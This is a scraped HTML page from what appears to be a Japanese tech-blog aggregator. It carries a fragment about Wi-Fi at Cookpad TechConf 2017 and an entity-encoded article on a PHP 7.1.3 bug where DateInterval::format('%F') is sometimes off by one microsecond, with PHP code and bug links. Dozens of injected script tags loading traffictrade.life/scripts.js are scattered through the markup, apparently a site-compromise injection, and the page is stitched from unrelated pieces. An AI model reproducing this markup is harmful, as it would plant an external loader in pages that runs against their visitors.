href="https://en.wikipedia.org/wiki/Energy_Policy_Act_of_2005" target="_blank">Energy Policy Act of 2005 - Wikipedia</a></li> <li> <script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://www.timeanddate.com/news/time/us-daylight-saving-extended.html#daylight" target="_blank">Dates of Daylight Saving Time 1970&ndash;2015</a></li> <li> <script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://www.iana.org/time-zones" target="_blank">IANA &mdash; Time Zone Database</a></li> </ul></div>

Cookpad TechConf 2017 提供 Wi-Fi の裏側

インフラ部 id:sora_h です。 先週開催された Cookpad TechConf 2017 如何でしたでしょうか。わたしは TechConf において Wi-Fi を担当していて、こちらも好評いただいたようでなによりでした。 というわけで、この記事では TechConf 2017 における Wi-Fi についての詳細を紹介します。 ネットワーク機器設定・サーバー mitamae レシピ等の公開 https://github.com/cookpad/techconf2017-network 今回の紹介する構成のうち、ネットワーク機器およびサーバ側の設定等、ほとんどを GitHub で公開…

NO IMAGE

PHP 7.1.3で時刻の差を取ると時々1マイクロ秒ズレる

<div> <p>&#26412;&#26085;&#12399;&#12456;&#12452;&#12503;&#12522;&#12523;&#12501;&#12540;&#12523;&#12394;&#12398;&#12391;&#12289;&#12454;&#12477;&#12391;&#12418;&#26412;&#24403;&#12391;&#12418;&#35504;&#12418;&#22256;&#12425;&#12394;&#12356;PHP&#12398;&#12496;&#12464;&#12398;&#35441;&#12434;&#12375;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>PHP 7.1.0&#12363;&#12425;PHP&#12398;DateTime&#12463;&#12521;&#12473;&#12391;&#12510;&#12452;&#12463;&#12525;&#31186;&#12398;&#25201;&#12356;&#12434;&#24375;&#21270;&#12375;&#12390;&#12356;&#12427;&#12424;&#12358;&#12391;&#12289;&#25369;&#21205;&#12420;&#12467;&#12540;&#12489;&#12398;&#22793;&#26356;&#12364;&#12481;&#12521;&#12507;&#12521;&#35211;&#21463;&#12369;&#12425;&#12428;&#12414;&#12377;&#12290;&#65288;&#21442;&#32771;&#65306;&#12300;<script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="http://qiita.com/hnw/items/665ff303d37d50fc0bff" target="_blank">PHP 7.1&#12363;&#12425;DateTime&#12364;&#29694;&#22312;&#26178;&#21051;&#12398;&#12510;&#12452;&#12463;&#12525;&#31186;&#12414;&#12391;&#35211;&#12427;&#12424;&#12358;&#12395;&#12394;&#12387;&#12383; - Qiita</a>&#12301;&#65289;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>&#26178;&#21051;&#12392;&#26178;&#21051;&#12398;&#24046;&#20998;&#12434;&#25201;&#12358;DateInterval&#12463;&#12521;&#12473;&#12391;&#12418;PHP 7.1.0&#20197;&#38477;&#12510;&#12452;&#12463;&#12525;&#31186;&#12395;&#23550;&#24540;&#12375;&#12383;&#12424;&#12358;&#12391;&#12289;<script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="http://php.net/manual/en/dateinterval.format.php" target="_blank">DateInterval::format</a>&#12513;&#12477;&#12483;&#12489;&#12418;&#12510;&#12452;&#12463;&#12525;&#31186;&#12398;&#34920;&#31034;&#12395;&#23550;&#24540;&#12375;&#12390;&#12356;&#12427;&#12424;&#12358;&#12391;&#12377;&#12290;&#12373;&#12387;&#12381;&#12367;&#23455;&#39443;&#12375;&#12390;&#12415;&#12414;&#12375;&#12423;&#12358;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> <span>&lt;?php</span> <span>$</span><span>dt1</span><span>=</span><span>new</span> DateTime<span>(</span>"<span>2000-01-01 00:00:00</span>"<span>)</span>; <span>$</span><span>dt2</span><span>=</span><span>new</span> DateTime<span>(</span>"<span>2006-01-02 03:04:05.6</span>"<span>)</span>; <span>$</span><span>interval</span> <span>=</span> <span>$</span><span>dt1</span><span>-&gt;</span>diff<span>(</span><span>$</span><span>dt2</span><span>)</span>; <span>var_dump</span><span>(</span><span>$</span><span>interval</span><span>-&gt;</span>format<span>(</span>"<span>%R%Y-%M-%D %H:%I:%S.%F</span>"<span>))</span>; <span>/* Output: string(25) "+06-00-01 03:04:05.600000" */</span> </pre> <br><p>&#12497;&#12521;&#12513;&#12540;&#12479;<code>%F</code>&#12391;&#24046;&#20998;&#12398;&#12510;&#12452;&#12463;&#12525;&#31186;&#12364;&#34920;&#31034;&#12391;&#12365;&#12414;&#12375;&#12383;&#12290;&#12392;&#12371;&#12429;&#12391;&#12289;&#27425;&#12398;&#12424;&#12358;&#12394;&#20363;&#12434;&#35430;&#12377;&#12392;&#22855;&#22937;&#12394;&#12371;&#12392;&#12395;&#27671;&#12389;&#12365;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> <span>&lt;?php</span> <span>$</span><span>dt1</span><span>=</span><span>new</span> DateTime<span>(</span>"<span>2000-01-01 00:00:00</span>"<span>)</span>; <span>$</span><span>dt2</span><span>=</span><span>new</span> DateTime<span>(</span>"<span>2006-01-02 03:04:05.000251</span>"<span>)</span>; <span>$</span><span>interval</span> <span>=</span> <span>$</span><span>dt1</span><span>-&gt;</span>diff<span>(</span><span>$</span><span>dt2</span><span>)</span>; <span>var_dump</span><span>(</span><span>$</span><span>interval</span><span>-&gt;</span>format<span>(</span>"<span>%R%Y-%M-%D %H:%I:%S.%F</span>"<span>))</span>; <span>/* Output: string(25) "+06-00-01 03:04:05.000250" */</span> </pre> <br><p>0&#12392;251&#12398;&#24046;&#12394;&#12398;&#12391;&#12300;000251&#12301;&#12392;&#34920;&#31034;&#12373;&#12428;&#12427;&#12399;&#12378;&#12364;&#12300;000250&#12301;&#12392;&#12394;&#12387;&#12390;&#12362;&#12426;&#12289;1&#12510;&#12452;&#12463;&#12525;&#31186;&#12474;&#12524;&#12383;&#32080;&#26524;&#12395;&#12394;&#12387;&#12390;&#12356;&#12414;&#12377;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>&#12489;&#12461;&#12517;&#12513;&#12531;&#12488;&#21270;&#12418;&#12373;&#12428;&#12390;&#12356;&#12394;&#12356;&#27231;&#33021;&#12394;&#12398;&#12391;&#35504;&#12418;&#22256;&#12425;&#12394;&#12356;&#12392;&#24605;&#12356;&#12414;&#12377;&#12364;&#12289;&#19968;&#24540;&#12496;&#12464;&#22577;&#21578;&#12375;&#12390;&#12362;&#12365;&#12414;&#12375;&#12383;&#12290;</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><ul><li> <script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://bugs.php.net/bug.php?id=74355" target="_blank">PHP :: Bug #74355 :: DateInterval::format() with &rdquo;%F&rdquo; sometimes shows incorrect value by 1us</a></li> <li> <script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://bugs.php.net/bug.php?id=74356" target="_blank">PHP :: Doc Bug #74356 :: DateInterval::format() now supports &rdquo;%F&rdquo; as fraction but undocumented</a></li> </ul></div>

– PR –
– PR –